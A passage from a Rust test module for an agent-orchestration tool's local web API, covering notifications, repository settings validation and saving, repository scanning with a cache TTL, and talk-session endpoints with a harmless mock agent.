12498        let store = Notices::at(fx.home.path().join("notifications"));
12499        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12500        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12501
12502        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12503        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12504
12505        store
12506            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12507            .unwrap();
12508        let health = fx.get("/api/health").await.json();
12509        assert_eq!(health["notifications_unread"], 2);
12510        assert_ne!(
12511            health["notifications_rev"], rev0,
12512            "the badge must move live"
12513        );
12514
12515        let listed = fx.get("/api/notifications").await.json();
12516        assert_eq!(listed["unread"], 2);
12517        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12518        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12519
12520        let read = fx
12521            .post(&format!("/api/notifications/{}/read", a.id), None)
12522            .await;
12523        assert_eq!(read.status, 200, "{}", read.body);
12524        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12525
12526        let gone = fx
12527            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12528            .await;
12529        assert_eq!(gone.status, 200, "{}", gone.body);
12530        let listed = fx.get("/api/notifications").await.json();
12531        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12532        assert_eq!(listed["unread"], 0);
12533
12534        store.raise(Notice::info("x", "again")).unwrap();
12535        let all = fx.post("/api/notifications/read-all", None).await;
12536        assert_eq!(all.status, 200, "{}", all.body);
12537        assert_eq!(all.json()["marked"], 1);
12538        assert_eq!(
12539            fx.get("/api/health").await.json()["notifications_unread"],
12540            0
12541        );
12542
12543        let missing = fx.post("/api/notifications/nope/read", None).await;
12544        assert_eq!(missing.status, 404, "{}", missing.body);
12545        assert!(missing.json()["error"].is_string());
12546    }
12547
12548    /// New work reaches the queue through `magi task add`, a standing talk's
12549    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
12550    /// so the compose form and that route are gone. The tests that covered
12551    /// that route's validation went with it, and nothing was left asserting
12552    /// it stays gone — so a re-added handler would silently let the phone
12553    /// file briefs no one validated.
12554    #[tokio::test]
12555    async fn a_task_cannot_be_filed_over_the_phone_directly() {
12556        let f = Fixture::start().await;
12557
12558        let res = f
12559            .post(
12560                "/api/queue",
12561                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12562            )
12563            .await;
12564
12565        assert_eq!(
12566            res.status, 405,
12567            "POST /api/queue must not be a route: {}",
12568            res.body
12569        );
12570        assert!(
12571            f.queue().list().is_empty(),
12572            "a task filed by a route that does not exist must not reach the disk"
12573        );
12574        // The path itself is still served — the Queue view reads it — and the
12575        // per-task controls are untouched by the entry being removed.
12576        assert_eq!(f.get("/api/queue").await.status, 200);
12577    }
12578
12579    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
12580    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12581        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12582            .expect("checkout dir");
12583    }
12584
12585    /// Two command agents, so a config needs no real CLI.
12586    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12587
12588    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12589        let tmp = TempDir::new().expect("tempdir");
12590        let repo = tmp.path().join("repo");
12591        std::fs::create_dir_all(&repo).expect("repo dir");
12592        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12593        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12594        if let Some(text) = machine_toml {
12595            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12596            std::fs::write(&machine, text).expect("machine toml");
12597        }
12598        (tmp, repo, machine)
12599    }
12600
12601    async fn settings_checkout(path: &FsPath, text: &str) {
12602        std::fs::create_dir_all(path).unwrap();
12603        std::fs::write(path.join("magi.toml"), text).unwrap();
12604        for args in [
12605            vec!["init", "-b", "main"],
12606            vec!["add", "magi.toml"],
12607            vec![
12608                "-c",
12609                "user.name=Test",
12610                "-c",
12611                "user.email=test@example.invalid",
12612                "commit",
12613                "-m",
12614                "fixture",
12615            ],
12616            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12617            vec![
12618                "symbolic-ref",
12619                "refs/remotes/origin/HEAD",
12620                "refs/remotes/origin/main",
12621            ],
12622        ] {
12623            crate::git::git(path, &args).await.unwrap();
12624        }
12625    }
12626
12627    #[tokio::test]
12628    async fn settings_context_handlers_validate_and_save_without_a_socket() {
12629        let (tmp, repo, machine) =
12630            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12631        let root = tmp.path().join("roots");
12632        let selected = root.join("host/owner/selected");
12633        settings_checkout(
12634            &selected,
12635            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12636        )
12637        .await;
12638        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12639        let before = std::fs::read(&machine).unwrap();
12640        let ui = Arc::new(
12641            Ui::new(
12642                Queue::at(tmp.path().join("queue")),
12643                Questions::at(tmp.path().join("questions")),
12644                Talks::at(tmp.path().join("talks")),
12645                tmp.path().join("runs"),
12646                tmp.path().to_path_buf(),
12647                repo.clone(),
12648            )
12649            .with_machine_config(Some(machine.clone())),
12650        );
12651        let query = || {
12652            Query(SettingsQuery {
12653                repo: Some(selected.clone()),
12654            })
12655        };
12656        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12657        assert!(v.error.is_none(), "{:?}", v.error);
12658        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12659        assert_eq!(conductor.source, "repo");
12660        assert_eq!(
12661            conductor.machine_value,
12662            Some(toml::Value::String("a".into()))
12663        );
12664        assert!(!conductor.editable);
12665        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12666        assert_eq!(
12667            judges.count.as_ref().unwrap().machine_value,
12668            Some(toml::Value::Integer(1))
12669        );
12670        assert!(
12671            !v.roles
12672                .iter()
12673                .find(|r| r.key == "reviewers")
12674                .unwrap()
12675                .editable
12676        );
12677        let unknown = || {
12678            Query(SettingsQuery {
12679                repo: Some(tmp.path().to_path_buf()),
12680            })
12681        };
12682        assert_eq!(
12683            settings_get(State(ui.clone()), unknown())
12684                .await
12685                .unwrap_err()
12686                .status,
12687            StatusCode::UNPROCESSABLE_ENTITY
12688        );
12689        let body = || {
12690            Ok(Json(RolesBody {
12691                revision: v.revision.clone(),
12692                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12693                counts: Default::default(),
12694            }))
12695        };
12696        assert_eq!(
12697            settings_put_roles(State(ui.clone()), unknown(), body())
12698                .await
12699                .unwrap_err()
12700                .status,
12701            StatusCode::UNPROCESSABLE_ENTITY
12702        );
12703        assert_eq!(std::fs::read(&machine).unwrap(), before);
12704        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12705            .await
12706            .unwrap();
12707        assert_eq!(
12708            saved.repo,
12709            selected.canonicalize().unwrap().display().to_string()
12710        );
12711        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12712        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12713        // A cache miss refreshes the stable candidate list exactly for validation.
12714        let fresh = root.join("host/owner/fresh");
12715        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12716        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12717            .await
12718            .unwrap();
12719        assert_eq!(fresh_view.repositories.len(), 3);
12720    }
12721
12722    #[tokio::test]
12723    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12724        let (tmp, repo, machine) = settings_dirs(
12725            "[roles]\nreviewers = [\"a\"]\n",
12726            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12727        );
12728        let root = tmp.path().join("roots");
12729        let selected = root.join("host/owner/selected");
12730        settings_checkout(
12731            &selected,
12732            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12733        )
12734        .await;
12735        let broken = root.join("host/owner/broken");
12736        settings_checkout(&broken, "[roles\nbroken").await;
12737        let machine_text = format!(
12738            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12739            toml::Value::String(root.display().to_string())
12740        );
12741        std::fs::write(&machine, &machine_text).unwrap();
12742        let originals: Vec<_> = [&repo, &selected, &broken]
12743            .iter()
12744            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
12745            .collect();
12746        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12747        let default = f.get("/api/settings").await.json();
12748        assert_eq!(
12749            default["repo"],
12750            repo.canonicalize().unwrap().display().to_string()
12751        );
12752        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
12753        let query = format!("?repo={}", selected.display());
12754        let res = f.get(&format!("/api/settings{query}")).await;
12755        assert_eq!(res.status, 200, "{}", res.body);
12756        let v = res.json();
12757        assert!(v["error"].is_null(), "{v}");
12758        assert_eq!(v["repositories"], default["repositories"]);
12759        let role = |key: &str| {
12760            v["roles"]
12761                .as_array()
12762                .unwrap()
12763                .iter()
12764                .find(|r| r["key"] == key)
12765                .unwrap()
12766        };
12767        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
12768        assert_eq!(role("advisors")["source"], "repo");
12769        assert_eq!(role("advisors")["editable"], false);
12770        assert!(role("advisors")["machine_value"].is_null());
12771        assert_eq!(role("judges")["count"]["value"], 2);
12772        assert_eq!(role("judges")["count"]["machine_value"], 1);
12773        assert_eq!(role("judges")["count"]["source"], "repo");
12774        let source = role("judges")["count"]["source_path"].as_str().unwrap();
12775        assert!(
12776            source.contains("origin/main") && !source.contains("magi/config/"),
12777            "{source}"
12778        );
12779        assert_eq!(
12780            role("reviewers")["editable"],
12781            false,
12782            "default context outside roots must protect its declarations"
12783        );
12784        let body =
12785            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
12786        let unknown = format!("?repo={}", tmp.path().display());
12787        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
12788        assert_eq!(
12789            f.put(&format!("/api/settings/roles{unknown}"), &body)
12790                .await
12791                .status,
12792            422
12793        );
12794        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
12795        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
12796            .to_string();
12797        assert_eq!(
12798            f.put(&format!("/api/settings/roles{query}"), &refuse)
12799                .await
12800                .status,
12801            422
12802        );
12803        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
12804        assert_eq!(saved.status, 200, "{}", saved.body);
12805        assert_eq!(saved.json()["repo"], v["repo"]);
12806        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12807        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12808        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
12809            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
12810        }
12811        let error = f
12812            .get(&format!("/api/settings?repo={}", broken.display()))
12813            .await;
12814        assert_eq!(error.status, 200);
12815        assert!(error.json()["error"]["message"].is_string());
12816        assert_eq!(error.json()["repositories"], default["repositories"]);
12817    }
12818
12819    #[tokio::test]
12820    async fn settings_get_reports_sources_and_the_advisors_fallback() {
12821        let (_tmp, repo, machine) =
12822            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
12823        let f = Fixture::with_repo_and_machine(repo, machine).await;
12824        let res = f.get("/api/settings").await;
12825        assert_eq!(res.status, 200, "{}", res.body);
12826        let v = res.json();
12827        assert!(v["error"].is_null(), "{v}");
12828        let role = |k: &str| {
12829            v["roles"]
12830                .as_array()
12831                .and_then(|r| r.iter().find(|x| x["key"] == k))
12832                .cloned()
12833                .unwrap_or_else(|| panic!("no role {k}: {v}"))
12834        };
12835        assert_eq!(role("judges")["source"], "machine");
12836        assert_eq!(role("judges")["editable"], true);
12837        assert_eq!(role("implementers")["source"], "default");
12838        let adv = role("advisors");
12839        assert_eq!(adv["fallback"], "judges");
12840        assert!(
12841            adv["seats"]
12842                .as_array()
12843                .is_some_and(|s| s.iter().all(|x| x == "b")),
12844            "{adv}"
12845        );
12846        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
12847        assert_eq!(v["agents"][0]["source"], "repo");
12848    }
12849
12850    #[tokio::test]
12851    async fn settings_get_reports_a_config_that_does_not_parse() {
12852        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12853        let f = Fixture::with_repo_and_machine(repo, machine).await;
12854        let res = f.get("/api/settings").await;
12855        assert_eq!(res.status, 200, "{}", res.body);
12856        let v = res.json();
12857        assert!(v["error"]["message"].is_string(), "{v}");
12858        assert!(
12859            v["error"]["path"]
12860                .as_str()
12861                .is_some_and(|p| p.ends_with("magi.toml")),
12862            "{v}"
12863        );
12864        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12865    }
12866
12867    #[tokio::test]
12868    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12869        let (_tmp, repo, machine) = settings_dirs(
12870            SETTINGS_AGENTS,
12871            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
12872        );
12873        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12874        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12875        let rev = f.get("/api/settings").await.json()["revision"]
12876            .as_str()
12877            .expect("revision")
12878            .to_owned();
12879        let body = serde_json::json!({
12880            "revision": rev,
12881            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12882        })
12883        .to_string();
12884        let res = f.put("/api/settings/roles", &body).await;
12885        assert_eq!(res.status, 200, "{}", res.body);
12886        let text = std::fs::read_to_string(&machine).expect("machine");
12887        assert_eq!(
12888            text,
12889            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12890        );
12891        assert_eq!(
12892            std::fs::read(repo.join("magi.toml")).expect("read"),
12893            repo_before
12894        );
12895        let again = f.get("/api/settings").await.json();
12896        let judges = again["roles"]
12897            .as_array()
12898            .expect("roles")
12899            .iter()
12900            .find(|r| r["key"] == "judges")
12901            .expect("judges")
12902            .clone();
12903        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12904        // The old revision is now stale.
12905        let stale = f.put("/api/settings/roles", &body).await;
12906        assert_eq!(stale.status, 409, "{}", stale.body);
12907    }
12908
12909    #[tokio::test]
12910    async fn settings_counts_are_reported_and_saved() {
12911        let (_tmp, repo, machine) = settings_dirs(
12912            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12913            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12914        );
12915        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12916        let v = f.get("/api/settings").await.json();
12917        let count = |v: &serde_json::Value, k: &str| {
12918            v["roles"]
12919                .as_array()
12920                .and_then(|r| r.iter().find(|x| x["key"] == k))
12921                .map(|x| x["count"].clone())
12922                .unwrap_or_else(|| panic!("no role {k}: {v}"))
12923        };
12924        let imp = count(&v, "implementers");
12925        assert_eq!(imp["value"], 2);
12926        assert_eq!(imp["source"], "machine");
12927        assert_eq!(imp["file_key"], "candidates");
12928        assert_eq!(imp["roster_len"], 2);
12929        assert_eq!(imp["backups"], 0);
12930        assert_eq!(count(&v, "judges")["source"], "default");
12931        assert_eq!(count(&v, "advisors")["min"], 0);
12932        assert_eq!(count(&v, "reviewers")["editable"], false);
12933        assert!(
12934            count(&v, "reviewers")["locked_reason"]
12935                .as_str()
12936                .is_some_and(|m| m.contains("graph.reviewers"))
12937        );
12938        assert!(count(&v, "fixer").is_null());
12939        let rev = v["revision"].as_str().expect("revision").to_owned();
12940        let body = serde_json::json!({
12941            "revision": rev,
12942            "roles": { "judges": ["b"] },
12943            "counts": { "implementers": 1, "advisors": 0 }
12944        })
12945        .to_string();
12946        let res = f.put("/api/settings/roles", &body).await;
12947        assert_eq!(res.status, 200, "{}", res.body);
12948        let text = std::fs::read_to_string(&machine).expect("machine");
12949        assert_eq!(
12950            text,
12951            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
12952        );
12953        let after = f.get("/api/settings").await.json();
12954        assert_eq!(count(&after, "implementers")["value"], 1);
12955        assert_eq!(count(&after, "implementers")["backups"], 1);
12956        assert_eq!(count(&after, "advisors")["value"], 0);
12957        let before = std::fs::read_to_string(&machine).expect("machine");
12958        let rev = after["revision"].as_str().expect("revision").to_owned();
12959        for counts in [
12960            serde_json::json!({ "judges": 0 }),
12961            serde_json::json!({ "judges": "x" }),
12962            serde_json::json!({ "judges": 2.5 }),
12963            serde_json::json!({ "judges": -1 }),
12964            serde_json::json!({ "reviewers": 3 }),
12965            serde_json::json!({ "bogus": 3 }),
12966        ] {
12967            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
12968            let res = f.put("/api/settings/roles", &body).await;
12969            assert_eq!(res.status, 422, "{counts}: {}", res.body);
12970            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
12971        }
12972    }
12973
12974    #[tokio::test]
12975    async fn settings_put_refuses_without_touching_the_file() {
12976        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
12977        let (_tmp, repo, machine) = settings_dirs(
12978            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
12979            Some(machine_text),
12980        );
12981        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12982        let rev = f.get("/api/settings").await.json()["revision"]
12983            .as_str()
12984            .expect("revision")
12985            .to_owned();
12986        for roles in [
12987            serde_json::json!({ "judges": ["nope"] }),
12988            serde_json::json!({ "reviewers": ["b"] }),
12989            serde_json::json!({ "bogus": ["a"] }),
12990        ] {
12991            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
12992            let res = f.put("/api/settings/roles", &body).await;
12993            assert_eq!(res.status, 422, "{roles}: {}", res.body);
12994            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
12995            assert_eq!(
12996                std::fs::read_to_string(&machine).expect("machine"),
12997                machine_text
12998            );
12999        }
13000    }
13001
13002    #[tokio::test]
13003    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13004        let tmp = TempDir::new().expect("tempdir");
13005        let repo = tmp.path().join("repo");
13006        std::fs::create_dir_all(&repo).expect("repo dir");
13007        let root = tmp.path().join("root");
13008        make_checkout(&root, "github.com", "yukimemi", "magi");
13009        std::fs::write(
13010            repo.join("magi.toml"),
13011            format!(
13012                "[repos]\nroots = [{:?}]\n",
13013                root.to_string_lossy().into_owned()
13014            ),
13015        )
13016        .expect("write magi.toml");
13017
13018        let f = Fixture::with_repo(repo).await;
13019        let res = f.get("/api/repos").await;
13020        assert_eq!(res.status, 200, "{}", res.body);
13021        let list = res.json();
13022        let repos = list.as_array().expect("an array");
13023        assert_eq!(repos.len(), 1);
13024        assert_eq!(repos[0]["name"], "yukimemi/magi");
13025        assert!(
13026            repos[0]["path"]
13027                .as_str()
13028                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13029            "{list}"
13030        );
13031    }
13032
13033    #[tokio::test]
13034    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13035        let tmp = TempDir::new().expect("tempdir");
13036        let repo = tmp.path().join("repo");
13037        std::fs::create_dir_all(&repo).expect("repo dir");
13038        let root = tmp.path().join("root");
13039        make_checkout(&root, "github.com", "yukimemi", "magi");
13040        std::fs::write(
13041            repo.join("magi.toml"),
13042            format!(
13043                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13044                root.to_string_lossy().into_owned()
13045            ),
13046        )
13047        .expect("write magi.toml");
13048
13049        let f = Fixture::with_repo(repo).await;
13050        let first = f.get("/api/repos").await;
13051        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13052
13053        // A second checkout appears; within the TTL the cached answer must
13054        // not notice it.
13055        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13056        let second = f.get("/api/repos").await;
13057        assert_eq!(
13058            second.json().as_array().map(Vec::len),
13059            Some(1),
13060            "a fresh cache must not rescan inside the TTL"
13061        );
13062
13063        let refreshed = f.get("/api/repos?refresh=1").await;
13064        assert_eq!(
13065            refreshed.json().as_array().map(Vec::len),
13066            Some(2),
13067            "an explicit refresh must rescan even inside the TTL"
13068        );
13069    }
13070
13071    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13072    /// string, declared straight in a repository's own `magi.toml` rather
13073    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13074    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13075    /// this is safe to run over a real HTTP round trip.
13076    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13077
13078    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13079    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13080    /// even though it takes no turn, and `talk_say` invokes one.
13081    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13082        let tmp = TempDir::new().expect("tempdir");
13083        let repo = tmp.path().join("repo");
13084        std::fs::create_dir_all(&repo).expect("repo dir");
13085        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13086        let f = Fixture::with_repo(repo.clone()).await;
13087        (tmp, repo, f)
13088    }
13089
13090    #[tokio::test]
13091    async fn posting_a_talk_with_remembered_choices_is_soft() {
13092        let (_tmp, _repo, f) = talk_fixture().await;
13093
13094        let good = f
13095            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13096            .await;
13097        assert_eq!(good.status, 201, "{}", good.body);
13098        assert_eq!(good.json()["persona"], "rei");
13099
13100        // Wrong values and wrong types are dropped one by one, never a 4xx.
13101        let stale = f
13102            .post(
13103                "/api/talks",
13104                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13105            )
13106            .await;
13107        assert_eq!(stale.status, 201, "{}", stale.body);
13108        let v = stale.json();
13109        assert_eq!(v["implementers"], 1);
13110        assert_ne!(v["persona"], "nobody");
13111        let typed = f
13112            .post(
13113                "/api/talks",
13114                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13115            )
13116            .await;
13117        assert_eq!(typed.status, 201, "{}", typed.body);
13118
13119        // The strict `agent` field still refuses an unknown id.
13120        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13121        assert!(
13122            !strict.status.to_string().starts_with('2'),
13123            "{}",
13124            strict.body
13125        );
13126    }
13127
13128    #[tokio::test]
13129    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13130        let (_tmp, _repo, f) = talk_fixture().await;
13131
13132        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13133        // is the ordinary way a phone opens a talk.
13134        let opened = f.post("/api/talks", None).await;
13135        assert_eq!(opened.status, 201, "{}", opened.body);
13136        let body = opened.json();
13137        assert_eq!(body["status"], "open");
13138        assert_eq!(
13139            body["turns"].as_array().unwrap().len(),
13140            0,
13141            "opening takes no agent turn: there is nothing yet to answer"
13142        );
13143
13144        // An explicit empty object is the same request as none at all.
13145        let also_opened = f.post("/api/talks", Some("{}")).await;
13146        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13147
13148        let listed = f.get("/api/talks").await.json();
13149        assert_eq!(listed.as_array().unwrap().len(), 2);
13150    }
13151
13152    #[tokio::test]
13153    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13154        let tmp = TempDir::new().expect("tempdir");
13155        let repo = tmp.path().join("repo");
13156        std::fs::create_dir_all(&repo).expect("repo dir");
13157        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13158        std::fs::write(
13159            repo.join("magi.toml"),
13160            format!("{MOCK_AGENT_TOML}\n{second}"),
13161        )
13162        .expect("write magi.toml");
13163        let home = TempDir::new().expect("temp home");
13164        let talks = Talks::at(home.path().join("talks"));
13165        let ui = Arc::new(
13166            Ui::new(
13167                Queue::at(home.path().join("queue")),
13168                Questions::at(home.path().join("questions")),
13169                talks.clone(),
13170                home.path().join("runs"),
13171                home.path().to_path_buf(),
13172                repo.clone(),
13173            )
13174            .with_worktrees_root(home.path().join("wt")),
13175        );
13176        let cfg = config_for(&repo).await.expect("discover config");
13177        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13178        let id = talk.id.clone();
13179        let call = |agent: &str| {
13180            talk_agent(
13181                State(Arc::clone(&ui)),
13182                Path(id.clone()),
13183                Json(TalkAgent {
13184                    agent: agent.to_owned(),
13185                }),
13186            )
13187        };
13188
13189        let unknown = call("nobody").await.expect_err("unknown agent");
13190        assert_eq!(
13191            unknown.status,
13192            StatusCode::BAD_REQUEST,
13193            "{}",
13194            unknown.message
13195        );
13196
13197        {
13198            // Nothing refused so far took a claim, so the guard is free to take
13199            // and holding it is what makes the talk busy.
13200            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13201            let busy = call("second").await.expect_err("busy talk");
13202            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13203            assert!(
13204                busy.message.contains("a talk turn is running"),
13205                "{}",
13206                busy.message
13207            );
13208            drop(guard);
13209        }
13210        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13211
13212        let Json(view) = call("second").await.expect("switch");
13213        assert_eq!(view.talk.agent, "second");
13214        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13215        let saved = talks.get(&id).expect("reload");
13216        assert_eq!(saved.agent, "second");
13217        assert_eq!(saved.turns.len(), 1);
13218        assert!(!view.thinking);
13219        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13220        for agent in ["mock", "second"] {
13221            let Json(view) = call(agent).await.expect("immediate consecutive change");
13222            assert_eq!(view.talk.agent, agent);
13223            assert!(!view.thinking);
13224            assert!(!ui.is_thinking(&id));
13225        }
13226
13227        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13228            .await
13229            .expect("detail");
13230        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13231        assert_eq!(roster, ["mock", "second"]);
13232
13233        let mut closed = talks.get(&id).expect("reload");
13234        talk::close(&mut closed, &talks).expect("close");
13235        let refused = call("mock").await.expect_err("closed talk");
13236        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13237        assert!(
13238            refused.message.contains("takes no more turns"),
13239            "{}",
13240            refused.message
13241        );
13242    }
13243
13244    #[tokio::test]
13245    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13246        let tmp = TempDir::new().expect("tempdir");
13247        let repo = tmp.path().join("repo");
13248        std::fs::create_dir_all(&repo).expect("repo dir");
13249        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13250        let home = TempDir::new().expect("temp home");
13251        let talks = Talks::at(home.path().join("talks"));
13252        let ui = Arc::new(
13253            Ui::new(
13254                Queue::at(home.path().join("queue")),
13255                Questions::at(home.path().join("questions")),
13256                talks.clone(),
13257                home.path().join("runs"),
13258                home.path().to_path_buf(),
13259                repo.clone(),
13260            )
13261            .with_worktrees_root(home.path().join("wt")),
13262        );
13263        let cfg = config_for(&repo).await.expect("discover config");
13264        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13265        let id = talk.id.clone();
13266        let call = |n: u8| {
13267            talk_implementers(
13268                State(Arc::clone(&ui)),
13269                Path(id.clone()),
13270                Json(TalkImplementers { implementers: n }),
13271            )
13272        };
13273
13274        for bad in [0u8, 4] {
13275            let e = call(bad).await.expect_err("out of range");
13276            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13277        }
13278        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13279
13280        {
13281            // Nothing refused so far took a claim, so the guard is free to take
13282            // and holding it is what makes the talk busy.
13283            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13284            let busy = call(2).await.expect_err("busy talk");
13285            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13286            assert!(
13287                busy.message.contains("a talk turn is running"),
13288                "{}",
13289                busy.message
13290            );
13291            drop(guard);
13292        }
13293
13294        let Json(view) = call(3).await.expect("switch");
13295        assert_eq!(view.talk.implementers, 3);
13296        assert!(talks.get(&id).expect("reload").implementers_dirty);
13297        assert!(!view.thinking);
13298        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13299        for n in [1, 2, 3] {
13300            let Json(view) = call(n).await.expect("immediate consecutive change");
13301            assert_eq!(view.talk.implementers, n);
13302            assert!(!view.thinking);
13303            assert!(!ui.is_thinking(&id));
13304        }
13305
13306        let mut closed = talks.get(&id).expect("reload");
13307        talk::close(&mut closed, &talks).expect("close");
13308        let e = call(2).await.expect_err("closed talk");
13309        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13310        assert!(e.message.contains("takes no more turns"), "{}", e.message);
13311    }
13312
13313    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
13314    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13315        let tmp = TempDir::new().expect("tempdir");
